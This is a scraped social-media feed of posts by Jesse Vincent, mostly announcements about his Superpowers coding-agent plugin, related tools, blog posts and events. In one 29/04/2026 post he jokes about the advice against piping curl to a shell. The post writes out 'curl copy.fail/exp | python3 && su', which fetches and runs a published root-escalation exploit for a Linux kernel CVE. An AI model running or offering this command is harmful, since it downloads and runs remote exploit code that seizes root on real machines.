Jesse Vincent @s.ly · 18hI wrote a bit about getting Muse to manage a git repo of all the changes to its skills. There's some neat stuff in there. blog.fsck.com/2026/09/29/I... 030
Jesse Vincent @s.ly · 23/09/2026On the evening of October 14, @simonwillison.net and I are hosting a small, informal chat about agentic engineering and "agentic show and tell" in San Francisco. Details at: blog.fsck.com/2026/09/22/a... 4463
Jesse Vincent @s.ly · 21/09/2026Superpowers 6.4 is out! It adds support for Muse Code, Open Code 2.0 and Qwen Code. This release introduces a new 'native' execution mode for frontier models & adds a new 'diagnosing-superpowers' skill that can help you understand what needs fixing if Superpowers doesn't work like you'd expect. 2110
Jesse Vincent @s.ly · 16/09/2026How many coding agents do you think are out there? We got curious, so we set our agents loose to build a new public catalog of agents, agent sdks and multiplexers. It's live at alltheagents.org. If we're missing your favorites, please submit them.alltheagents.orgAll the Agents — 549 Coding Agent Harnesses 3166
Jesse Vincent @s.ly · 16/09/2026It kind of snuck up on me, but I'm going to be joining @timoreilly.bsky.social on Live With Tim tomorrow (Wednesday) morning at 9AM Pacific! You should tune in: www.oreilly.com/live/live-wi...oreilly.comGive Your Agents Superpowers: Jesse Vincent Live with Tim O'Reilly - Sep 16 - O'ReillyWhat Claude's weights reveal about how it actually thinks 0233
Jesse Vincent @s.ly · 01/09/2026I got to join Tom Preston-Warner and Sam Odio as the first guest on their new podcast, AI Worth Using. We talked about Superpowers and how it came to be. Then Tom installed Superpowers live and asked it to rebuild GitHub from scratch. If you want to see how it went, the episode is out now.youtube.comWhen Claude Deleted My Tests: Jesse Vincent, Creator of SuperpowersYouTube video by AIWorthUsing 162
Reposted by Jesse VincentRich Gibson @richgibson.bsky.social · 27/08/2026I made a demo hyper local map app to track water quality reports. I used @s.ly SuperPowers skill (for the system, blame me for the esthetics). clo-waterquality.com It is test data only for now. Feel free to make test reports. Read the about page for some background.clo-waterquality.comTest project for Clearlake Oaks water reports 001
Jesse Vincent @s.ly · 22/08/2026To test out Evener, our new coding agent harness, I vibe coded a C compiler. blog.fsck.com/2026/08/21/i...blog.fsck.comI vibe-coded a C compiler that can build SQLiteI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 3140
Reposted by Jesse VincentMichael "NE6RD" Pechner @ne6rd.com · 10/08/2026If you have not used superpower plugin with claude you are missing out when doing design and planning. claude.com/plugins/supe...claude.comSuperpowers Plugin | Claude by AnthropicClaude learns brainstorming, subagent development with code review, debugging, TDD, and skill authoring through Superpowers.. Install this plugin to extend your workflow. 031
Jesse Vincent @s.ly · 12/08/2026I'm pleased to announce Superpowers 6.3. New harnesses: Hermes, Devin CLI & Grok Build Performance with Claude Code with Opus 5 and Codex with GPT 5.6-Sol should be *better* - Claude is now less likely to spawn off duplicate reviewers and Codex is now smarter about how it waits for subagents. 2180
Jesse Vincent @s.ly · 20/07/2026I wrote a little bit about the Therapist pattern we’re using for self-modifying agents. primeradiant.com/blog/2026/th...primeradiant.comThe Therapist Pattern | Prime Radiant 071
Jesse Vincent @s.ly · 04/07/2026I built a free tool to keep your clipboard in sync between your macs and your coding agents running in tmux on remote servers. It's called Clipfan. blog.fsck.com/2026/07/03/c...blog.fsck.comSyncing my clipboard between macOS and remote terminalsI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 1151
Jesse Vincent @s.ly · 02/07/2026We're building something really cool for teams using Superpowers inside large orgs. If that's you, I'd love to chat. DM me or drop me a line at jesse@primeradiant.com 0111
Jesse Vincent @s.ly · 16/06/2026I'm pleased to announce Superpowers 6.0. In addition to support for Pi, Antigravity and Kimi Code and a bunch of other improvements, this release builds your projects faser and is *dramatically* more token-efficient. It's available on GitHub now. primeradiant.com/blog/2026/su... 2192
Jesse Vincent @s.ly · 13/06/2026Love Superpowers? Want it to work even better for everybody? We're hiring somebody to help with community and GitHub and stuff: primeradiant.com/jobs/superpo...primeradiant.comSuperpowers Community Engineer | Jobs | Prime Radiant 091
Jesse Vincent @s.ly · 12/06/2026This afternoon, I pulled some data from backups of my .claude directory to build a visualization of Claude Code plugin installs over time. You can explore the data at primeradiant.com/claude-plugi... 040
Reposted by Jesse VincentOl' Chef Dan @olchefdan.bsky.social · 25/05/2026Honestly, one of the funniest tweets I've ever seen. 738198343115
Jesse Vincent @s.ly · 11/05/2026My MacBook Pro's escape key had gotten sticky and unreliable. I successfully removed the keycap, cleaned the cavity and scissor mechanism, AND reassembled the key without breaking anything. The key even works right again. Please clap. 6310
Jesse Vincent @s.ly · 08/05/2026@buttplug.engineer seems relevant to your interests, although I assume this is...fanfic. 130
Jesse Vincent @s.ly · 01/05/2026A short post about my favorite adversarial review prompt: blog.fsck.com/2026/05/01/a...blog.fsck.comMy favorite adversarial review promptI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 281
Jesse Vincent @s.ly · 30/04/2026I wrote about the time I caught Claude trying to delete all of my tests (and how I fixed it) blog.fsck.com/2026/04/30/t...blog.fsck.comThat time it tried to delete all my testsI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 5120
Jesse Vincent @s.ly · 29/04/2026Ordinarily, the security advice is "don't pipe curl to sh, because it might have an exploit in it" (That advice stands. Always check the payload) curl copy.fail/exp | python3 && sucopy.failCopy Fail: 732 Bytes to Root on Every Major Linux Distributions - XintXint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se... 092
Jesse Vincent @s.ly · 29/04/2026So here's the pitch: It's Eternal September, but for Patch Tuesday. 2102
Jesse Vincent @s.ly · 24/04/2026We just published a couple of the projects I've been working on this spring. primeradiant.com/blog/2026/gr... Greenfield is a set of tools to extract behavioral specs from existing codebases. Iterative Development is a set of add-ons to Superpowers to tackle implementations of much larger specs.primeradiant.comIntroducing Greenfield and Iterative Development | Prime Radiant 150
Jesse Vincent @s.ly · 23/04/2026Had a great chat with @miyagawa.co last night. It had been ages since we last caught up properly. 0122
Jesse Vincent @s.ly · 17/04/2026I built a little tool to extract your Kindle notes and highlights in a format your agents can read: primeradiant.com/blog/2026/hi...primeradiant.comHighlights | Prime Radiant 150
Jesse Vincent @s.ly · 16/04/2026I'm pleased to announce that Superpowers is now available as a plugin in OpenAI Codex! We even got a cameo in their launch video. openai.com/index/codex-... 1101
Jesse Vincent @s.ly · 15/04/2026@miyagawa.co Relevant to your interests: www.youtube.com/watch?v=Qj3g...youtube.comDance Hall Crashers live - [Full set - HD] - Irving Plaza - New York, NY - 4/10/26YouTube video by The Jon Dohh Show 130
Jesse Vincent @s.ly · 07/04/2026I wrote a bit about the difference between rules and gates in prompting - blog.fsck.com/2026/04/07/r... 030
Reposted by Jesse VincentEvan Schwartz @emschwartz.me · 02/04/2026For anyone using Claude Code, I cannot recommend the Superpowers plugin by @s.ly enough. I've been raving about it to enough people that I just wrote up my thoughts as a quick blog post emschwartz.me/a-rave-revie...emschwartz.meA Rave Review of Superpowers (for Claude Code)I have no connection to the authors of the Superpowers plugin for Claude Code, but I have been raving about it to everyone I talk to. Using Claude Code with ... 4142
Jesse Vincent @s.ly · 31/03/2026Superpowers 5.0.7 is out now. The exciting new thing here: Native support for GitHub Copilot CLI. blog.fsck.com/releases/202... 0121
Jesse Vincent @s.ly · 12/03/2026What's My JND? 0.0098 Can you beat it? www.keithcirkel.co.uk/whats-my-jnd...keithcirkel.co.ukWhat's My JND?Find your Just Noticeable Difference in colour perception. How small a colour difference can you actually see? 440
Jesse Vincent @s.ly · 12/03/2026Superpowers 5.0.2 is out now - It should fix Codex's use of subagents and it replaces the Brainstorming server with a zero-deps node script, rather than bundling a bunch of node modules. blog.fsck.com/releases/202...blog.fsck.comSuperpowers v5.0.2Fixing aggressive subagent reviewers, replacing 714 npm packages with 340 lines of code, and teaching servers to clean up after themselves 070
Jesse Vincent @s.ly · 11/03/2026Superpowers 5.0.1 is out now. Claude wrote up the details: blog.fsck.com/releases/202... The headline item is (finally) full Gemini CLI support. Also, a bunch of improvements and bug fixes.blog.fsck.comSuperpowers v5.0.1Fixing Windows hooks, adding Gemini CLI, and closing the gap between what skills say and what agents do 171
Jesse Vincent @s.ly · 09/03/2026Superpowers 5 is out today: blog.fsck.com/2026/03/09/s... There are a bunch of improvements inside, but my favorite new feature is the new 'visual brainstorming' workflow that uses your browser to help talk through anything where ASCII art might not be high enough fidelity.blog.fsck.comSuperpowers 5I used to write more 1251
Reposted by Jesse VincentAaron Weiss (no relation) @aweiss.bsky.social · 08/03/2026I plopped down $20 for Claude Code and installed the Superpowers plugin from my old friend @s.ly. I fed it the PDF with the MIDI spec and told it what I wanted. Superpowers asked me a few questions about implementation and it wrote a product spec. 182
Jesse Vincent @s.ly · 06/03/2026I'm spending a ton of time making software these days, but I'm never working with source code. It seems like my entire workflow is Markdown files. I'm pleased to debut Clearance, Prime Radiant's new dedicated "Markdown browser." 3521
Jesse Vincent @s.ly · 25/02/2026I'm really bad at watching YouTube videos, but multiple people have told me that this intro to Superpowers is pretty good. youtu.be/romGzY0Xu0s?...youtu.beThis Just Fixed 90% Of AI CodingYouTube video by AI LABS 090
Jesse Vincent @s.ly · 24/02/2026primeradiant.com/blog/2026/wh... First post on the new corporate blog. Also, a new engineering notebook tool I knocked together over the weekend to help you comprehend what you've been working on with your coding agents.primeradiant.comWhat We're Working On | Prime Radiant 3282
Jesse Vincent @s.ly · 20/02/2026Holy shit, the supreme court ruled that the tariffs are unconstitutional. 0162
Jesse Vincent @s.ly · 20/02/2026I needed a way to print out iMessage chats with full metadata. I couldn't find an easy option that didn't appear to be a subscription trap. (Hitting Cmd-P in Messages doesn't include all the metadata.) This evening, Claude and I made a quick, free app, iMessagePrinter. github.com/obra/iMessag...blog.fsck.comiMessagePrinterExport iMessage conversations to PDF on macOS — guest post by Claude (Opus 4.6, Claude Code) 1132
Jesse Vincent @s.ly · 17/02/2026When Apple’s notoriously buggy Apple Intelligence notifications tell me that TMBG has a new track called “Wu Tang” …and it’s actually pretty good. 040
Jesse Vincent @s.ly · 13/02/2026I gave my agents a place to blog about the software they're writing for me because I'm so far behind on writing about that software. I blogged about that and about the several pieces of software I wrote today to find a particular Something Positive strip from 2002. blog.fsck.com/2026/02/12/l...blog.fsck.comLetting agents post on my blog; finding a needle in a haystackI used to write more 380
Reposted by Jesse VincentJason Meller @jmeller.bsky.social · 12/02/2026I was inspired by @s.ly 's recent piece on Latent Space Engineering. I wanted to see if his observations also applied to the security domain. What started as small experiment turned into a full blown agentic AI benchmark that I'm releasing as OSS at 1Password. 1password.github.io/SCAM/1password.github.ioSCAM — How safe is your AI agent?An open-source benchmark by 1Password that tests whether AI agents can handle real security threats during everyday tasks. View the leaderboard, watch replays, and try the security skill. 171
Jesse Vincent @s.ly · 11/02/2026campedersen.com/singularity I can't believe we spent all that time and effort fixing time_t.campedersen.comThe Singularity will Occur on a Tuesdaysrc={alwaysHasBeen.src} alt="Always has been astronaut meme" / "Wait, the singularity is just humans freaking out?" "Always has been." Everyone in <span style={ 1133
Jesse Vincent @s.ly · 31/01/2026I'm pleased to announce Moltipass, an iOS client for human users of Moltbook. blog.fsck.com/2026/01/30/m...blog.fsck.comMoltipass - a client for human users of Moltibook, the first all-agent social networkI used to write more 290
Jesse Vincent @s.ly · 28/01/2026Was that a little earthquake in the east bay or was that a truck on my street? 100